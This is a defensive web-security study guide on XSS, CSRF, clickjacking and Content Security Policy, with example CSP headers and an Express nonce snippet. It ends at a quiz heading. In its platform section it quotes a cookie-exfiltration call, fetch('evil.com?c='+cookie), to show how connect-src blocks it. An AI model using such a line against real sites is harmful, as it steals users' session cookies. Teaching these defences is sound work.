XSS, CSRF & CSP

1XSS — three attack types

XSS = an attacker gets their JavaScript to execute in a victim's browser, in your origin's context. That JS runs with full access to cookies (unless HttpOnly), DOM, localStorage, and the ability to make credentialed requests. The three types differ in where the payload lives.

DOM XSS: sources and sinks

Any path from a source to a sink without sanitization is a DOM XSS vulnerability.

2CSRF — what it is and how it differs from XSS

CSRF is a different attack: the victim's browser is tricked into sending a credentialed request to your server. The attacker doesn't inject code — they just make the browser send a request. CSP does not prevent CSRF.

• Primary defense: SameSite=Lax on session cookies — browser won't auto-send cookies on cross-site POSTs or background requests.
• When SameSite=None is required (cross-site embeds): synchronizer token (per-session CSRF token in HTML, sent as X-CSRF-Token header) or double-submit cookie.
• Custom request headers (e.g. X-Requested-With) trigger a preflight for cross-origin requests — simple forms can't forge them. Weak but useful as belt-and-suspenders.

3Clickjacking

Clickjacking is a visual deception attack. The attacker loads your page inside a transparent iframe on their site, positioned precisely over their own UI. The victim believes they are clicking the attacker's button — but they are actually clicking your page, triggering real actions while logged in as themselves.

Defense: frame-ancestors

The frame-ancestors CSP directive tells the browser which origins may embed your page in an <iframe>. If the embedding origin does not match, the browser refuses to render the frame at all — the overlay never exists.

4XSS defense — four layers in order

Defense-in-depth: each layer catches what the previous one misses. All four are needed.

5Content Security Policy — directives

CSP is an HTTP response header. It tells the browser an allowlist of what it may load and execute. Anything not on the allowlist is blocked and (optionally) reported.

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-r4nd0m' 'strict-dynamic';
  style-src 'self' 'nonce-r4nd0m';
  img-src 'self' https://cdn.example.com data:;
  connect-src 'self' https://api.example.com;
  font-src 'self' https://fonts.gstatic.com;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'self';
  report-uri /csp-violations;

6Nonce — per-request random token

A nonce (number used once) is a cryptographically random value the server generates fresh for every response. It is embedded in the CSP header and on every trusted <script> tag. The browser executes only scripts whose nonce attribute matches the header value.

-- Server (Express example) --
const nonce = crypto.randomBytes(16).toString('base64');
res.setHeader('Content-Security-Policy',
  `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'self'`);

-- HTML template --
<script nonce="<%= nonce %>">
  /* your inline bootstrap */
</script>
<script nonce="<%= nonce %>" src="/bundle.js"></script>

Hash — alternative for static pages

When you can't generate a per-request nonce (CDN-cached static HTML with no SSR), use a hash. The browser SHA-256-hashes each inline script's content and checks it against the CSP header. No server randomness needed — but the hash must be recomputed whenever the script content changes.

7strict-dynamic — the modern pattern

Without 'strict-dynamic', scripts loaded by your trusted scripts are blocked. Your nonce-whitelisted bundle runs but when it does document.createElement('script') to lazy-load a chunk, that new script has no nonce and is blocked. This breaks any bundler that code-splits.

'strict-dynamic' propagates trust: scripts created by a nonce-trusted script inherit that trust and are allowed to execute.

Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic'
             'unsafe-inline' http: https:;
--  ↑ The last two are fallbacks for old browsers that don't understand strict-dynamic.
    Supporting browsers IGNORE 'unsafe-inline' and host allowlists when strict-dynamic is present.

8Report-only — roll out without breaking production

Enforcing a new CSP on a large app blindly will break things. The safe path: deploy in report-only mode first, collect violations, fix them, then flip to enforcement.

-- Phase 1: observe (no blocking) --
Content-Security-Policy-Report-Only:
  script-src 'nonce-abc123' 'strict-dynamic'; report-uri /csp-violations

-- Phase 2: enforce --
Content-Security-Policy:
  script-src 'nonce-abc123' 'strict-dynamic'; report-uri /csp-violations

9platform-specific angle

• Many third-party scripts (analytics, A/B, maps, chat): 'strict-dynamic' + nonce lets the tag manager load sub-scripts without allowlisting every CDN. One trusted entry-point, everything below inherits.
• Booking funnel clickjacking: frame-ancestors 'self' blocks payment page from being embedded in a malicious iframe.
• connect-src blocks exfiltration: Even if XSS fires, a strict connect-src list (your own APIs, analytics domains) means fetch('evil.com?c='+cookie) is blocked at the network layer.
• Report-uri → SIEM: CSP violation reports go to a log aggregation pipeline. A spike in script-src violations = active injection attempt or a compromised third-party script. Treat it like an alert.
• Stored XSS surface: User-generated content (reviews, property descriptions) — DOMPurify on the way in, context-aware encoding on the way out, CSP as backstop.

10Check yourself — scenario quiz